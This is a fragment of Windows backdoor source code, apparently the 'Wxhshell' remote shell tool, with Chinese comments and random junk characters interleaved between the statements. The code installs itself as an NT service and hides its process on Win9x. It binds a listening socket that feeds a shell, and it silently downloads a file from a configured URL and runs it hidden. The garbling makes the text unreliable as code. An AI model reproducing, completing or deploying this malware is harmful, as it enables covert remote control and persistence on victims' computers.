-5wjc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .+`Z:{:BC& if(!hProcess) return 0; <%LN3T 9M .cTIO{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7{u1ynt Eg]tDPN1 CloseHandle(hProcess); <cR]-Yr~ 1Qo2Z;h@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W}> wRy if(hProcess==NULL) return 0; _/a8X:[( Y:K1v:Knw HMODULE hMod; f`,isy[ char procName[255]; .!h`(>+@ unsigned long cbNeeded; VrZ6m #,\qjY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rY(h }z :g"UG0]; CloseHandle(hProcess); Xx=c'j< sQr
|3}I( if(strstr(procName,"services")) return 1; // 以服务启动 eTY""EWU PQ`~qM:3st return 0; // 注册表启动 # F|w_P } x[eho,6) ^)[jBUT // 主模块 dfA4OZ& int StartWxhshell(LPSTR lpCmdLine) 5R"(4a P { VA@t8H, SOCKET wsl; #~@Cl9[)D BOOL val=TRUE; a?X{k|;!7u int port=0; N'e3< struct sockaddr_in door; `F
TA{ba 4"y1M=he if(wscfg.ws_autoins) Install(); Oxhc!9F bG[)r port=atoi(lpCmdLine); *[O)VkL\%i >$iQDVh! if(port<=0) port=wscfg.ws_port; K\vyfYi d(8X?k.S WSADATA data; VsMTzGr if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dw
e$, 9 r1QLSD]i6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eZ[O:W vk: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A +J&(7N door.sin_family = AF_INET; d%='W|i\p& door.sin_addr.s_addr = inet_addr("127.0.0.1"); {Kkut?5 door.sin_port = htons(port); %I6c}*W W|aFEY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ag\xwS#i5H closesocket(wsl); A ^wIsAxT return 1; )kiC/Y}k } 3BWYSJ| c O[Hr if(listen(wsl,2) == INVALID_SOCKET) { o?l9$"\sqb closesocket(wsl); fmQ`8b return 1; /MUa
b*h } !uJDhC Wxhshell(wsl); !E+. ( WSACleanup(); pAd 8-a P,/=c(5\} return 0; u= u#6% :yTpjC-S] } I "<ACM D[ -Gzqh // 以NT服务方式启动 & NO:S VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3"ii_#1 { :n} NQzs DWORD status = 0; m$X0O_*A DWORD specificError = 0xfffffff; aV9QIH~ $ 3/G)/A serviceStatus.dwServiceType = SERVICE_WIN32; vdLBf+Zi serviceStatus.dwCurrentState = SERVICE_START_PENDING; R!8 qkG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KPcOW#.T serviceStatus.dwWin32ExitCode = 0; ^t{2k[@ serviceStatus.dwServiceSpecificExitCode = 0; r(#]Z serviceStatus.dwCheckPoint = 0; *$eMM*4 serviceStatus.dwWaitHint = 0; `X06JTqf: E0Y>2HOuL hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lS.&>{ if (hServiceStatusHandle==0) return; 2#y!(D8 k15B5 status = GetLastError(); l6wN&JHTh if (status!=NO_ERROR) cn~M:LW23 { Vk>m/" serviceStatus.dwCurrentState = SERVICE_STOPPED; dfss_}R serviceStatus.dwCheckPoint = 0; ?pF7g$>q serviceStatus.dwWaitHint = 0; _4]GP3` serviceStatus.dwWin32ExitCode = status; %xq/eC7 serviceStatus.dwServiceSpecificExitCode = specificError; B?cn5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); BmP!/i_ return; AP8YY8,
} OcBKn=8 Gidh7x serviceStatus.dwCurrentState = SERVICE_RUNNING; CSC
sJE#4 serviceStatus.dwCheckPoint = 0; ;6T>p serviceStatus.dwWaitHint = 0; bCv^za]P6 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +NH#t}. } #@*;Y(9Ol aWe?n; // 处理NT服务事件,比如:启动、停止 rX-V0 VOID WINAPI NTServiceHandler(DWORD fdwControl) HX(Z(rcI { &ZmHR^Flz switch(fdwControl) a=m7pe^ { nsRZy0@$t case SERVICE_CONTROL_STOP: _wC4n }J serviceStatus.dwWin32ExitCode = 0; 5V|D%t2N serviceStatus.dwCurrentState = SERVICE_STOPPED; tdl Y serviceStatus.dwCheckPoint = 0; / p_mFA]@ serviceStatus.dwWaitHint = 0; UY)e6 Zd { ]
X9e| SetServiceStatus(hServiceStatusHandle, &serviceStatus); mkR1iY } /ynvQ1#uA return; -t<8)9q( case SERVICE_CONTROL_PAUSE: Zi0B$3iOb serviceStatus.dwCurrentState = SERVICE_PAUSED; Vz"Ja break; 7(q EHZEr case SERVICE_CONTROL_CONTINUE: ]7*Z'E serviceStatus.dwCurrentState = SERVICE_RUNNING; UJqDZIvC break; yK$.wd2, case SERVICE_CONTROL_INTERROGATE: :|GC~JElo5 break; {Q&@vbw' }; tKnvNOhn SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7lo`)3mB } A@-A_=a, 9WJS.\G^ // 标准应用程序主函数 `*A!vO8 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qj?qWVapA { U_ -9rkUa "|2|Vju% // 获取操作系统版本 Zd~l_V f OsIsNt=GetOsVer(); ^[7ZB mS GetModuleFileName(NULL,ExeFile,MAX_PATH); nK@RFU6 .=j]PckJO // 从命令行安装 ( 5^bU< if(strpbrk(lpCmdLine,"iI")) Install(); y?ps+ce93 "Y9PS_u(~ // 下载执行文件 @_gCGI>Q if(wscfg.ws_downexe) { QbF!V%+a's if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B1EI'<S WinExec(wscfg.ws_filenam,SW_HIDE); D!K){E } zL1*w@6 ileqI/40f if(!OsIsNt) { x1gf o!BN // 如果时win9x,隐藏进程并且设置为注册表启动 yFIB/ln: HideProc(); 0@FZQ$- StartWxhshell(lpCmdLine); ;*3OkNxa3 } CXb-{|I}d else W[5a'}OV if(StartFromService()) tD G[}j // 以服务方式启动 EJd l%j StartServiceCtrlDispatcher(DispatchTable); e{ce
\ else )1PZ# // 普通方式启动 Km5#$IiP; StartWxhshell(lpCmdLine); C^}2::Qu J>I.|@W4 return 0; o\_@4hXf }
|